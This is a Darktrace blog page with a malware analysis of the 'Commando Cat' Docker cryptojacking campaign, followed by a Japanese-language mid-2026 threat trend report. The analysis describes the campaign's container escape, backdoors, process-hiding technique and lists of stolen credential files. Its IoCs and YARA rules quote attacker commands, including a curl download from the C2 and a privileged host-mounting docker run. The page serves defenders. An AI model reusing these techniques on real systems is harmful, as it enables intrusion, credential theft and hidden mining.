ブログ
/
Cloud
/
January 2, 2024

The Nine Lives of Commando Cat: Analyzing a Novel Malware Campaign Targeting Docker

"Commando Cat" is a novel cryptojacking campaign exploiting exposed Docker API endpoints. This campaign demonstrates the continued determination attackers have to exploit the service and achieve a variety of objectives.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Nate Bill
Threat Researcher
Default blog image
02
Jan 2024

Summary

  • Commando Cat is a novel cryptojacking campaign exploiting Docker for Initial Access
  • The campaign deploys a benign container generated using the Commando Project [1]
  • The attacker escapes this container and runs multiple payloads on the Docker host
  • The campaign deploys a credential stealer payload, targeting Cloud Service Provider credentials (AWS, GCP, Azure)
  • The other payloads exhibit a variety of sophisticated techniques, including an interesting process hiding technique (as discussed below) and a Docker Registry blackhole

Introduction: Commando cat

Cado Security labs (now part of Darktrace) encountered a novel malware campaign, dubbed “Commando Cat”, targeting exposed Docker API endpoints. This is the second campaign targeting Docker since the beginning of 2024, the first being the malicious deployment of the 9hits traffic exchange application, a report which was published only a matter of weeks prior. [2]

Attacks on Docker are relatively common, particularly in cloud environments. This campaign demonstrates the continued determination attackers have to exploit the service and achieve a variety of objectives. Commando Cat is a cryptojacking campaign leveraging Docker as an initial access vector and (ab)using the service to mount the host’s filesystem, before running a series of interdependent payloads directly on the host. 

As described in the coming sections, these payloads are responsible for registering persistence, enabling a backdoor, exfiltrating various Cloud Service Provider credential files and executing the miner itself. Of particular interest are a number of evasion techniques exhibited by the malware, including an unusual process hiding mechanism. 

Initial access

The payloads are delivered to exposed Docker API instances over the Internet by the IP 45[.]9.148.193 (which is the same as C2). The attacker instructs Docker to pull down a Docker image called cmd.cat/chattr. The cmd.cat (also known as Commando) project “generates Docker images on-demand with all the commands you need and simply point them by name in the docker run command.” 

It is likely used by the attacker to seem like a benign tool and not arouse suspicion.

The attacker then creates the container with a custom command to execute:

Container image with custom command to execute
Figure 1: Container with custom command to execute

It uses the chroot to escape from the container onto the host operating system. This initial command checks if the following services are active on the system:

  • sys-kernel-debugger
  • gsc
  • c3pool_miner
  • Dockercache

The gsc, c3pool_miner, and dockercache services are all created by the attacker after infection. The purpose of the check for sys-kernel-debugger is unclear - this service is not used anywhere in the malware, nor is it part of Linux. It is possible that the service is part of another campaign that the attacker does not want to compete with.

Once these checks pass, it runs the container again with another command, this time to infect it:

Container with infect command
Figure 2: Container with infect command

This script first chroots to the host, and then tries to copy any binaries named wls or cls to wget and curl respectively. A common tactic of cryptojacking campaigns is that they will rename these binaries to evade detection, likely the attacker is anticipating that this box was previously infected by a campaign that renamed the binaries to this, and is undoing that. The attacker then uses either wget or curl to pull down the user.sh payload.

This is repeated with the sh parameter changed to the following other scripts:

  • tshd
  • gsc
  • aws

In addition, another payload is delivered directly as a base64 encoded script instead of being pulled down from the C2, this will be discussed in a later section.

user.sh

The primary purpose of the user.sh payload is to create a backdoor in the system by adding an SSH key to the root account, as well as adding a user with an attacker-known password.

On startup, the script changes the permissions and attributes on various system files such as passwd, shadow, and sudoers in order to allow for the creation of the backdoor user:

Script
Figure 3

It then calls a function called make_ssh_backdoor, which inserts the following RSA and ED25519 SSH key into the root user’s authorized_keys file:

function make_ssh_backdoor
Figure 4

It then updates a number of SSH config options in order to ensure root login is permitted, along with enabling public key and password authentication. It also sets the AuthorizedKeysFile variable to a local variable named “$hidden_authorized_keys”, however this variable is never actually defined in the script, resulting in public key authentication breaking.

Once the SSH backdoor has been installed, the script then calls make_hidden_door. The function creates a new user called “games” by adding an entry for it directly into /etc/passwd and /etc/shadow, as well giving it sudo permission in /etc/sudoers.

The “games” user has its home directory set to /usr/games, likely as an attempt to appear as legitimate. To continue this theme, the attacker also has opted to set the login shell for the “games” user as /usr/bin/nologin. This is not the path for the real nologin binary, and is instead a copy of bash placed here by the malware. This makes the “games” user appear as a regular service account, while actually being a backdoor.

Games user
Figure 5

With the two backdoors in place, the malware then calls home with the SSH details to an API on the C2 server. Additionally, it also restarts sshd to apply the changes it made to the configuration file, and wipes the bash history.

SSH details
Figure 6

This provides the attacker with all the information required to connect to the server via SSH at any time, using either the root account with a pubkey, or the “games” user with a password or pubkey. However, as previously mentioned, pubkey authentication is broken due to a bug in the script. Consequently, the attacker only has password access to “games” in practice.

tshd.sh

This script is responsible for deploying TinyShell (tsh), an open source Unix backdoor written in C [3]. Upon launch, the script will try to install make and gcc using either apk, apt, or yum, depending on which is available. The script then pulls a copy of the tsh binary from the C2 server, compiles it, and then executes it.

Script
Figure 7

TinyShell works by listening on the host for incoming connections (on port 2180 in this case), with security provided by a hardcoded encryption key in both the client and server binaries. As the attacker has graciously provided the code, the key could be identified as “base64st”. 

A side effect of this is that other threat actors could easily scan for this port and try authenticating using the secret key, allowing anyone with the skills and resources to take over the botnet. TinyShell has been commonly used as a payload before, as an example, UNC2891 has made extensive use of TinyShell during their attacks on Oracle Solaris based systems [4].
The script then calls out to a freely available IP logger service called yip[.]su. This allows the attacker to be notified of where the tsh binary is running, to then connect to the infected machine.

Script
Figure 8

Finally, the script drops another script to /bin/hid (also referred to as hid in the script), which can be used to hide processes:

Script
Figure 9

This script works by cloning the Linux mtab file (a list of the active mounts) to another directory. It then creates a new bind mount for the /proc/pid directory of the process the attacker wants to hide, before restoring the mtab. The bind mount causes any queries to the /proc/pid directory to show an empty directory, causing tools like ps aux to omit the process. Cloning the mtab and then restoring the older version also hides the created bind mount, making it harder to detect.

The script then uses this binary to hide the tshd process.

gsc.sh

This script is responsible for deploying a backdoor called gs-netcat, a souped-up version of netcat that can punch through NAT and firewalls. It’s purpose is likely for acting as a backdoor in scenarios where traditional backdoors like TinyShell would not work, such as when the infected host is behind NAT.

Gs-netcat works in a somewhat interesting way - in order for nodes to find each other, they use their shared secret instead of IP address using the  service. This permits gs-netcat to function in virtually every environment as it circumvents many firewalls on both the client and server end. To calculate a shared secret, the script simply uses the victims IP and hostname:

Script
Figure 10

This is more acceptable than tsh from a security point of view, there are 4 billion possible IP addresses and many more possible hostnames, making a brute force harder, although still possible by using strategies such as lists of common hostnames and trying IPs from blocks known for hosting virtual servers such as AWS.

The script proceeds to set up gs-netcat by pulling it from the attacker’s C2 server, using a specific version based on the architecture of the infected system. Interestingly to note, the attacker will use the cmd.cat containers to untar the downloaded payload, if tar is not available on the system or fails. Instead of using /tmp, it also uses /dev/shm instead, which acts as a temporary file store, but memory backed instead. It is possible that this is an evasion mechanism, as it is much more common for malware to use /tmp. This also results in the artefacts not touching the disk, making forensics somewhat more difficult. This technique has been used before in BPFdoor - a high-profile Linux campaign [6].

Script
Figure 11

Once the binary has been installed, the script creates a malicious systemd service unit to achieve persistence. This is a very common method for Linux malware to obtain persistence; however not all systems use systemd, resulting in this payload being rendered entirely ineffective on these systems. $VICCS is the shared secret discussed earlier, which is stored in a file and passed to the process.

Script
Figure 12

The script then uses the previously discussed hid binary to hide the gs-netcat process. It is worth noting that this will not survive a reboot, as there is no mechanism to hide the process again after it is respawned by systemd.

Script
Figure 13

Finally, the malware sends the shared secret to the attacker via their API, much like how it does with SSH:

Script
Figure 14

This allows the attacker to run their client instance of gs-netcat with the shared secret and gain persistent access to the infected machine.

aws.sh

The aws.sh script is a credential grabber that pulls credentials from several files on disk, as well as IMDS, and environment variables. Interestingly, the script creates a file so that once the script runs the first time, it can never be run again as the file is never removed. This is potentially to avoid arousing suspicion by generating lots of calls to IMDS or the AWS API, as well as making the keys harvested by the attacker distinct per infected machine.

The script overall is very similar to scripts that have been previously attributed to TeamTNT and could have been copied from one of their campaigns [7.] However, script-based attribution is difficult, and while the similarities are visible, it is hard to attribute this script to any particular group.

Script
Figure 15

The first thing run by the script (if an AWS environment is detected) is the AWS grabber script. Firstly, it makes several requests to IMDS in order to obtain information about the instance’s IAM role and the security credentials for it. The timeout is likely used to stop this part of the script taking a long time to run on systems where IMDS is not available. It would also appear this script only works with IMDSv1, so can be rendered ineffective by enforcing IMDSv2.

Script
Figure 16

Information of interest to the attacker, such as instance profiles, access keys, and secret keys, are then extracted from the response and placed in a global variable called CSOF, which is used throughout the script to store captured information before sending it to the API.

Next, it checks environment variables on the instance for AWS related variables, and adds them to CSOF if they are present.

Script
Figure 17

Finally, it adds the sts caller identity returned from the AWS command line to CSOF.

Next up is the cred_files function, which executes a search for a few common credential file names and reads their contents into CSOF if they are found. It has a few separate lists of files it will try to capture.

CRED_FILE_NAMES:

  • "authinfo2"
  • "access_tokens.db"
  • ".smbclient.conf"
  • ".smbcredentials"
  • ".samba_credentials"
  • ".pgpass"
  • "secrets"
  • ".boto"
  • ".netrc"
  • "netrc"
  • ".git-credentials"
  • "api_key"
  • "censys.cfg"
  • "ngrok.yml"
  • "filezilla.xml"
  • "recentservers.xml"
  • "queue.sqlite3"
  • "servlist.conf"
  • "accounts.xml"
  • "kubeconfig"
  • "adc.json"
  • "azure.json"
  • "clusters.conf" 
  • "docker-compose.yaml"
  • ".env"

AWS_CREDS_FILES:

  • "credentials"
  • ".s3cfg"
  • ".passwd-s3fs"
  • ".s3backer_passwd"
  • ".s3b_config"
  • "s3proxy.conf"

GCLOUD_CREDS_FILES:

  • "config_sentinel"
  • "gce"
  • ".last_survey_prompt.yaml"
  • "config_default"
  • "active_config"
  • "credentials.db"
  • "access_tokens.db"
  • ".last_update_check.json"
  • ".last_opt_in_prompt.yaml"
  • ".feature_flags_config.yaml"
  • "adc.json"
  • "resource.cache"

The files are then grabbed by performing a find on the root file system for their name, and the results appended to a temporary file, before the final concatenation of the credentials files is read back into the CSOF variable.

CSOF variable
Figure 18

Next up is get_prov_vars, which simply loops through all processes in /proc and reads out their environment variables into CSOF. This is interesting as the payload already checks the environment variables in a lot of cases, such as in the aws, google, and azure grabbers. So, it is unclear why they grab all data, but then grab specific portions of the data again.

Code
Figure 19

Regardless of what data it has already grabbed, get_google and get_azure functions are called next. These work identically to the AWS environment variable grabber, where it checks for the existence of a variable and then appends its contents (or the file’s contents if the variable is path) to CSOF.

Code
Figure 20

The final thing it grabs is an inspection of all running docker containers via the get_docker function. This can contain useful information about what's running in the container and on the box in general, as well as potentially providing more secrets that are passed to the container.

Code
Figure 21

The script then closes out by sending all of the collected data to the attacker. The attacker has set a username and password on their API endpoint for collected data, the purpose for which is unclear. It is possible that the attacker is concerned with the endpoint being leaked and consequently being spammed with false data by internet vigilantes, so added the authentication as a mechanism allowing them to cycle access by updating the payload and API.

Code
Figure 22

The base64 payload

As mentioned earlier, the final payload is delivered as a base64 encoded script rather than in the traditional curl-into-bash method used previously by the malware. This base64 is echoed into base64 -d, and then piped into bash. This is an extremely common evasion mechanism, with many script-based Linux threat actors using the same approach. It is interesting to note that the C2 IP used in this script is different from the other payloads.

The base64 payload serves two primary purposes, to deploy an XMRig cryptominer, and to “secure” the docker install on the infected host.

When it is run, the script looks for traces of other malware campaigns. Firstly, it removes all containers that have a command of /bin/bash -c 'apt-get or busybox, and then it removes all containers that do not have a command that contains chroot (which is the initial command used by this payload).

Code
Figure 23

Next, it looks for any services named “c3pool_miner” or “moneroocean_miner” and stops & disables the services. It then looks for associated binaries such as /root/c3pool/xmrig and /root/moneroocean/xmrig and deletes them from the filesystem. These steps are taken prior to deploying their own miner, so that they aren't competing for CPU time with other threat actors.

Once the competing miners have been killed off, it then sets up its own miner. It does this by grabbing a config and binary from the C2 server and extracting it to /usr/sbin. This drops two files: docker-cache and docker-proxy.

The docker-proxy binary is a custom fork of XMRig, with the path to the attacker’s config file hardcoded in the binary. It is invoked by docker-cache, which acts as a stager to ensure it is running, while also having the functionality to update the binary, should a file with .upd be detected.

It then uses a systemd service to achieve persistence for the XMRig stager, using the name docker cache daemon to appear inconspicuous. It is interesting to note that the name dockercache was also used by the Cetus cryptojacking worm .

Code
Figure 24

It then uses the hid script discussed previously to hide the docker-cache and docker-proxy services by creating a bind mount over their /proc entry. The effect of this is that if a system administrator were to use a tool like htop to try and see what process was using up the CPU on the server, they would not be able to see the process.

Finally, the attacker “secures” docker. First, it pulls down alpine and tags it as docker/firstrun (this will become clear as to why later), and then deletes any images in a hardcoded list of images that are commonly used in other campaigns.

Code
Figure 25

Next, it blackholes the docker registry by writing it's hostname to /etc/hosts with an IP of 0.0.0.0

Code
Figure 26

This completely blocks other attackers from pulling their images/tools onto the box, eliminating the risk of competition. Keeping the Alpine image named as docker/firstrun allows the attacker to still use the docker API to spawn an alpine box they can use to break back in, as it is already downloaded so the blackhole has no effect.

Conclusion

This malware sample, despite being primarily scripts, is a sophisticated campaign with a large amount of redundancy and evasion that makes detection challenging. The usage of the hid process hider script is notable as it is not commonly seen, with most malware opting to deploy clunkier rootkit kernel modules. The Docker Registry blackhole is also novel, and very effective at keeping other attackers off the box.

The malware functions as a credential stealer, highly stealthy backdoor, and cryptocurrency miner all in one. This makes it versatile and able to extract as much value from infected machines as possible. The payloads seem similar to payloads deployed by other threat actors, with the AWS stealer in particular having a lot of overlap with scripts attributed to TeamTNT in the past. Even the C2 IP points to the same provider that has been used by TeamTNT in the past. It is possible that this group is one of the many copycat groups that have built on the work of TeamTNT.

Indicators of compromise (IoCs)

Hashes

user 5ea102a58899b4f446bb0a68cd132c1d

tshd 73432d368fdb1f41805eba18ebc99940

gsc 5ea102a58899b4f446bb0a68cd132c1d

aws 25c00d4b69edeef1518f892eff918c2c

base64 ec2882928712e0834a8574807473752a

IPs

45[.]9.148.193

103[.]127.43.208

Yara Rule

rule Stealer_Linux_CommandoCat { 
 
meta: 

        description = "Detects CommandoCat aws.sh credential stealer script" 
 
        license = "Apache License 2.0" 
 
        date = "2024-01-25" 
 
        hash1 = "185564f59b6c849a847b4aa40acd9969253124f63ba772fc5e3ae9dc2a50eef0" 
 
    strings: 
 
        // Constants 

        $const1 = "CRED_FILE_NAMES" 
 
        $const2 = "MIXED_CREDFILES" 
 
        $const3 = "AWS_CREDS_FILES" 
 
        $const4 = "GCLOUD_CREDS_FILES" 
 
        $const5 = "AZURE_CREDS_FILES" 
 
        $const6 = "VICOIP" 
 
        $const7 = "VICHOST" 

 // Functions 
 $func1 = "get_docker()" 
 $func2 = "cred_files()" 
 $func3 = "get_azure()" 
 $func4 = "get_google()" 
 $func5 = "run_aws_grabber()" 
 $func6 = "get_aws_infos()" 
 $func7 = "get_aws_meta()" 
 $func8 = "get_aws_env()" 
 $func9 = "get_prov_vars()" 

 // Log Statements 
 $log1 = "no dubble" 
 $log2 = "-------- PROC VARS -----------------------------------" 
 $log3 = "-------- DOCKER CREDS -----------------------------------" 
 $log4 = "-------- CREDS FILES -----------------------------------" 
 $log5 = "-------- AZURE DATA --------------------------------------" 
 $log6 = "-------- GOOGLE DATA --------------------------------------" 
 $log7 = "AWS_ACCESS_KEY_ID : $AWS_ACCESS_KEY_ID" 
 $log8 = "AWS_SECRET_ACCESS_KEY : $AWS_SECRET_ACCESS_KEY" 
 $log9 = "AWS_EC2_METADATA_DISABLED : $AWS_EC2_METADATA_DISABLED" 
 $log10 = "AWS_ROLE_ARN : $AWS_ROLE_ARN" 
 $log11 = "AWS_WEB_IDENTITY_TOKEN_FILE: $AWS_WEB_IDENTITY_TOKEN_FILE" 

 // Paths 
 $path1 = "/root/.docker/config.json" 
 $path2 = "/home/*/.docker/config.json" 
 $path3 = "/etc/hostname" 
 $path4 = "/tmp/..a.$RANDOM" 
 $path5 = "/tmp/$RANDOM" 
 $path6 = "/tmp/$RANDOM$RANDOM" 

 condition: 
 filesize < 1MB and 
 all of them 
 } 

rule Backdoor_Linux_CommandoCat { 
 meta: 
 description = "Detects CommandoCat gsc.sh backdoor registration script" 
 license = "Apache License 2.0" 
 date = "2024-01-25" 
 hash1 = "d083af05de4a45b44f470939bb8e9ccd223e6b8bf4568d9d15edfb3182a7a712" 
 strings: 
 // Constants 
 $const1 = "SRCURL" 
 $const2 = "SETPATH" 
 $const3 = "SETNAME" 
 $const4 = "SETSERV" 
 $const5 = "VICIP" 
 $const6 = "VICHN" 
 $const7 = "GSCSTATUS" 
 $const8 = "VICSYSTEM" 
 $const9 = "GSCBINURL" 
 $const10 = "GSCATPID" 

 // Functions 
 $func1 = "hidfile()" 

 // Log Statements 
 $log1 = "run gsc ..." 

 // Paths 
 $path1 = "/dev/shm/.nc.tar.gz" 
 $path2 = "/etc/hostname" 
 $path3 = "/bin/gs-netcat" 
 $path4 = "/etc/systemd/gsc" 
 $path5 = "/bin/hid" 

 // General 
 $str1 = "mount --bind /usr/foo /proc/$1" 
 $str2 = "cp /etc/mtab /usr/t" 
 $str3 = "docker run -t -v /:/host --privileged cmd.cat/tar tar xzf /host/dev/shm/.nc.tar.gz -C /host/bin gs-netcat" 

 condition: 
 filesize < 1MB and 
 all of them 
 } 

rule Backdoor_Linux_CommandoCat_tshd { 
 meta: 
 description = "Detects CommandoCat tshd TinyShell registration script" 
 license = "Apache License 2.0" 
 date = "2024-01-25" 
 hash1 = "65c6798eedd33aa36d77432b2ba7ef45dfe760092810b4db487210b19299bdcb" 
 strings: 
 // Constants 
 $const1 = "SRCURL" 
 $const2 = "HOME" 
 $const3 = "TSHDPID" 

 // Functions 
 $func1 = "setuptools()" 
 $func2 = "hidfile()" 
 $func3 = "hidetshd()" 

 // Paths 
 $path1 = "/var/tmp" 
 $path2 = "/bin/hid" 
 $path3 = "/etc/mtab" 
 $path4 = "/dev/shm/..tshdpid" 
 $path5 = "/tmp/.tsh.tar.gz" 
 $path6 = "/usr/sbin/tshd" 
 $path7 = "/usr/foo" 
 $path8 = "./tshd" 

 // General 
 $str1 = "curl -Lk $SRCURL/bin/tsh/tsh.tar.gz -o /tmp/.tsh.tar.gz" 
 $str2 = "find /dev/shm/ -type f -size 0 -exec rm -f {} \\;" 

 condition: 
 filesize < 1MB and 
 all of them 
 } 

References:

  1. https://github.com/lukaszlach/commando
  2. www.darktrace.com/blog/containerised-clicks-malicious-use-of-9hits-on-vulnerable-docker-hosts
  3. https://github.com/creaktive/tsh
  4. https://cloud.google.com/blog/topics/threat-intelligence/unc2891-overview/
  5. https://www.gsocket.io/
  6. https://www.elastic.co/security-labs/a-peek-behind-the-bpfdoor
  7. https://malware.news/t/cloudy-with-a-chance-of-credentials-aws-targeting-cred-stealer-expands-to-azure-gcp/71346
  8. https://unit42.paloaltonetworks.com/cetus-cryptojacking-worm/
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Nate Bill
Threat Researcher

More in this series

No items found.

Blog

/

AI

/

August 7, 2026

信頼が新たなアタックサーフェスである理由:ダークトレースの2026年度中間脅威アップデート

Default blog imageDefault blog image

2026年初頭、ダークトレースのアナリストによって専用に設計されたReact2Shellハニーポットは、その展開から2時間未満で侵害を受けました。この1つのデータをとって見ても2026年前半の脅威ランドスケープのペースを表していると言うことができますが、スピードは1つの側面に過ぎません。

過去6か月間の変化は、従来のマルウェアや脆弱性を中心とした攻撃から、信頼されるアイデンティティ、プラットフォーム、およびインフラの悪用への移行を示しています。多くの組織が広範囲にAIを導入するのに伴い、アイデンティティ、SaaSプラットフォーム、クラウドに対する権限、自動化フレームワーク、および非人間アイデンティティが、攻撃者に好まれる攻撃経路となっています。

攻撃者は、外部から侵入するよりも、防御者やユーザーが信頼するよう条件づけられている関係、サービス、認証済みチャネル内で活動する傾向が高まっています。

2025年と比較して何が変わったか?

2025年には、アイデンティティが新たな境界となり、攻撃者はますます従来のエクスプロイト手法を使うよりも信頼されるアカウント、SaaSプラットフォーム、そしてAIによって可能になった新手の手法を使うようになりました。2026年前半は、この進化の次の段階にあると言えます。アイデンティの悪用は依然として中心的ですが、信頼の問題は今やアカウントをはるかに超えてEメール認証、クラウドに対する権限、ソフトウェアサプライチェーン、AIゲートウェイ、リモート管理ツール、そして非人間アイデンティティにも及んでいます。

Theme 2025 (Mid-Year / Annual) H1 2026
Identity Credentials remained the weak link; identity emerged as the new perimeter. Identity remains the entry point, but trust has become the new attack surface.
Cloud & SaaS SaaS-targeted ransomware continued to rise. Cloud and SaaS became the attacker's preferred operating environment.
AI Large Language Models (LLMs) were suspected of influencing phishing shifts. LLM-generated malware, compromised AI proxies, and the abuse of AI identities emerged.
Attack Surface Scale & Speed Exponential growth of Common Vulnerabilities and Exposures (CVEs), with public proof-of-concepts appearing faster. Cloud and AI adoption expanded the attack surface, while AI accelerated exploitation. One honeypot was compromised in under two hours.
Supply Chain Legitimate services were increasingly abused. Trusted maintainers and CI/CD workflows were weaponized.

アイデンティティとEメール:危険にさらされる信頼のシグナル

Eメールは信頼されるアイデンティティへの最も確実なルートであり、攻撃者はノイズを作り出すことよりも品質の向上に投資していることをデータが示しています。2026年前半において、フィッシングEメールの67%がDMARC認証を通過していました。ほとんどのフィッシングの試みに対して、阻止するには認証だけではもはや不十分なのです。フィッシングEメールの25.8%でVIPユーザーが標的となっており、22025年と同様に25%を上回る値ですが、期間全体を通じて上昇傾向にあります。重要な点は、フィッシングの巧妙さが高まり続けていることです:フィッシングEメールの37%が大量のテキストを含んでおり、2025年前半の32%から増加しています。また、39%は新手のソーシャルエンジニアリングテクニックを特徴としており、攻撃者が特定の標的にあわせてさらなるカスタマイズを行っていることを示唆しています。

ダークトレースの顧客に最も幅広く影響を与えている脅威もアイデンティティに焦点を当てたものであり、専用のStealCおよびAMOSインフォスティーラーを使った攻撃がこの半年間に多く見られています。これらのマルウェアの蔓延も、根本的にはアイデンティティの問題です。インフォスティーラーによって収集された認証情報がしばしば最初のアクセスベクトルとして使用され、攻撃チェーンの後の段階で格段に影響の大きい侵害につながります。また、マルウェアの投下には技術的弱点の悪用をほとんど必要としない点が重要です。ユーザー自身の手で悪意あるコードを実行させるClickFixソーシャルエンジニアリング手法は、依然としてよく見られます。最近観測されたある攻撃キャンペーンは17か国のダークトレース顧客で確認され、最も影響を受けたのは米国でした。この侵害はソフトウェアの欠陥から始まったものではなく、信頼されるユーザーが信頼されるアクションを実行したことが端緒となりました。

サプライチェーン:信頼が大規模に武器化される

3月と4月には共通の教訓が確認されました。それは信頼がサプライチェーン脆弱性となったということです。Axiosの侵害では幅広く使用されているメンテナーへの信頼が悪用され、Trivyキャンペーンは信頼されるCI/CDインフラ、リリースアーティファクト、およびコンテナイメージを利用して、正当な開発ワークフローに悪意あるコードを押し込みました。

これを最もはっきりと示した事例は、2月から3月にかけて観測されたキャンペーンです。多数のデバイスがHola VPNを使用している間に悪意のあるペイロードをダウンロードし、その後、Holaの配信パイプラインの侵害に関連していることが判明しました。ダークトレースの脅威調査チームは、公開アドバイザリがリリースされる前に、複数の顧客において繰り返し発生している異常な動作から、この侵害に関連する活動を特定しました。

最近では、攻撃者が正当なブロックチェーンインフラを悪用して、AMOSやPhexia等のインフォスティーラーを投下しているケースが見られます。セキュリティリソースが限られているユーザーによく使用されている一般的なVPN等のツールは、正当なC2インフラと組み合わせることで、攻撃者がはるかに広範な被害者層に到達することを可能にする一方、防御側は関連するエンドポイントを単純にブロックすることはできないため、やっかいな問題になります。

防御者にとっての課題は、もはや悪意のあるインフラを特定することではなく、信頼されるインフラが悪意のある動作を始めたときにそれを認識できるかどうかということです。

クラウドとSaaS:標的から作戦領域へ

5月から6月には、デバイス登録、クラウドデータ窃取、SaaS悪用、RDPの拡大、リモート管理ツール関連の活動が見られ、攻撃者がクラウドやSaaSを単なる標的としてではなく、むしろ好ましい作戦環境としてますます認識していることが示唆されました。 

ダークトレース顧客でのある事例では、1つの侵害されたSaaSアカウントがEメール、SaaS、ネットワークレイヤーにわたる活動を引き起こし、これには受信トレイルールの変更、フィッシングの拡散、疑わしいインフラへの接続が含まれていました。これらの兆候のいずれも単独では決定的とは言えませんでしたが、総合すると明らかに侵入を示していました。これらの環境において、攻撃者はますます信頼管理をを回避する必要がなくなっています。信頼は、侵害されたアイデンティティ、委任されたアクセス権、および正当な管理ツールを通じて引き継ぐことができるからです。これは、2025年に見られたSaaSを標的としたランサムウェアの傾向の自然な進化であると言えます。ますます多くのケースにおいて、ビジネスが運営されるのと同じプラットフォームが、敵対者が作戦を展開するプラットフォームとなっています。

AI:攻撃の加速装置でありアタックサーフェス、そして信頼される、しかしリスクの高いアクター

信頼がアタックサーフェスなら、AIはそれが最も急激に拡大している領域であると言えます。ダークトレースの顧客基盤全体において、2026年前半にAIサービスへの接続は平均13%増加し、接続数は1600万回以上標準的な組織は7つの異なるAIプロバイダーとやり取りするようになっています。そしてAIはもはや企業のごく一部ではありません。日々の業務に組み込まれています。この変化が3つの問題を生み出しましたが、これらはすべて2026年前半にダークトレースによって観測されています。

1. 攻撃倍増装置としてのAI

ダークトレースは、AIによって生成されたReact2Shellを悪用するマルウェアを特定しました。これは攻撃者がLLMを使用して有効なエクスプロイトコードを生成し大規模に展開したものです。脅威ランドスケープ全体で見ても同様の活動が増えており、効果的な攻撃作戦への参入障壁が崩れつつあることを示唆しています。最近のJadePuffer事例にも見られるように、エージェント型脅威アクターがインターネットに接続されたサーバーの脆弱性をエクスプロイトし、その後完全に自動化されたランサムウェア攻撃が開始されており、AIは脆弱性の公開から実際のエクスプロイトまでの過程を加速させています[1]。

2. アタックサーフェスとしてのAI

今やAIレイヤー自体も、調べてみる価値があります。あるオートメーション技術メーカーにおいて、侵害されたLLMプロキシが他のAIサービスへの踏み台として利用され、それが失敗すると攻撃者は暗号通貨マイニングに切り替えたという事例がありました。DarktraceのCyber AI Analystはこの侵入インシデントを明らかにし、Managed Threat Detectionサービスにより顧客への通知が行われたことにより、事態がそれ以上進行する前に封じ込めることができました。実務者にとっての教訓は明確です:AIゲートウェイ、プロキシ、モデルエンドポイントは、本番環境のクラウドワークロードと同様に扱うべきです。なぜなら、攻撃者は既にそうしているからです。

3. 信頼される、ただしリスクもあるアクターとしてのAI

Darktrace/ SECURE AIの観測結果からわかることは、最も一般的な現実世界のリスクはさらに判別が難しいということです。従業員が、個人識別情報(PII)、税務記録、身分証明書、会社の財務データ、人事記録、個人の医療データをLLMのプロンプトに入力することや、シャドーAIの蔓延、そしてモバイルデバイスからのAI使用の増加が挙げられます。28日間で約28,000人のユーザーから送信された約280,000件のプロンプトのうち、Darktraceはこれらのプロンプトの約1%(2,945件)に機密性の高いデータが含まれていることを特定しました。*

*プロンプトデータはユーザーのプライバシーを保護するために、集積および匿名化された形で分析されました。

防御者にとって、課題はコンテキストです。つまり、正当なビジネス利用が重大なリスクに変わるタイミングを、プライバシーやユーザーの信頼を損なうことなく見極めることです。組織がAIシステムをますます信頼し、AIがマシンスピードで機密情報にアクセス、処理、共有するようになるなかで、アイデンティティ、アプリケーション、クラウドインフラと同様に、AIも保護および監視されなければなりません。

スピードと地政学:迅速な作戦、長期的な目標

2026年前半に行われたいくつかの調査では、攻撃者が新たに公開された脆弱性をいかに迅速に実用化し、パッチ適用サイクルが完了する前にOAST(Out-of-Band Application Security Testing)インフラおよび信頼されたクラウドサービスを通じてエクスプロイト検証を行っているかが明らかになりました。React2Shellは2時間で侵害され、BeyondTrustのエクスプロイトも1日未満で発生しました。このような状況の中で、国家を背後に持つ脅威アクターは、引き続き正当なサービス、クラウドインフラ、および信頼関係を通じた、長期的なアクセス、情報収集、および事前配置に重点を置いています。中国、ロシア、イラン、北朝鮮(DPRK)を背後に持つ作戦は共通の特徴を持っています。それは即座に混乱を起こすことよりも、永続化と戦略的な配置を優先するということです。

中国:ダークトレースは、中国系アクターが信頼されるサービス、DLLサイドローディング、およびモジュール型の侵入チェーンを通じた長期的なアクセスの獲得を優先している状況を確認しています。これはCrimson Echoレポートでも解説され、Twill Typhoonの手法に関連するアクティビティと一致しています。

イラン:ダークトレースによるZionSiphonの調査は、イランに関連するアクターのOT環境への関心を浮き彫りにし、諜報目的とインフラ破壊能力を融合させている実態を明らかにしています。

ロシア:ダークトレースによる調査、および業界全体のさまざまな報告は、ロシアがウクライナ関連の支援に関する長期的な情報収集のために、信頼関係とサプライチェーンを標的としていることを明らかにしています[2]。

北朝鮮:ダークトレースは、脆弱性の迅速な武器化と永続的アクセス技術を組み合わせた北朝鮮関連の活動を観測ししています。これにはAxiosのサプライチェーン侵害、React2Shellエクスプロイト、ステルス性のmacOS侵入が含まれています。

 目的は脅威アクターによって異なっていましたが、手法は非常に一貫していました。信頼されるサービス、正当なインフラ、そして永続的アクセスは、即時の混乱よりも価値が高いことが示されています。

防御者のシフト

アイデンティティの侵害、サプライチェーン攻撃、SaaSの悪用、AIインフラの標的化、国家が支援する作戦、いずれのケースにおいても、攻撃者は防御のコントロールを突破するのではなく、信頼されたシステムを通じて行動することで成功を収めることが増えています。信頼されるユーザー、信頼されるソフトウェア、信頼されるインフラチャ、そしてますます信頼されるAIシステムは、すべて有効な攻撃経路となりました。 

防御者にとっての課題はもはや、単にあるアクションが許可されるかどうかを判断することではなく、そのアクションがより広いコンテキストの中で正当かどうかを見極めることです。認証、評判、出自は依然として重要ですが、それだけではもはや十分とは言えません。攻撃者がますます信頼されるシステム内で活動するようになる中で、最も強力なシグナルは多くの場合動作の逸脱です。つまり、信頼されているアクティビティが期待される振る舞いと一致しなくなった時にそれを識別することです。

本稿の執筆にはNathaniel Jones(SVP, Global Threat Intelligence)、Emma Foulger(Global Threat Research Operations Lead)、Justin Torres (Senior Cyber Analyst) Daniel Levy(Threat Hunting Data Scientist)が協力しました。


編集:Ryan Traill(Content Manager)

付録1:脅威調査手法

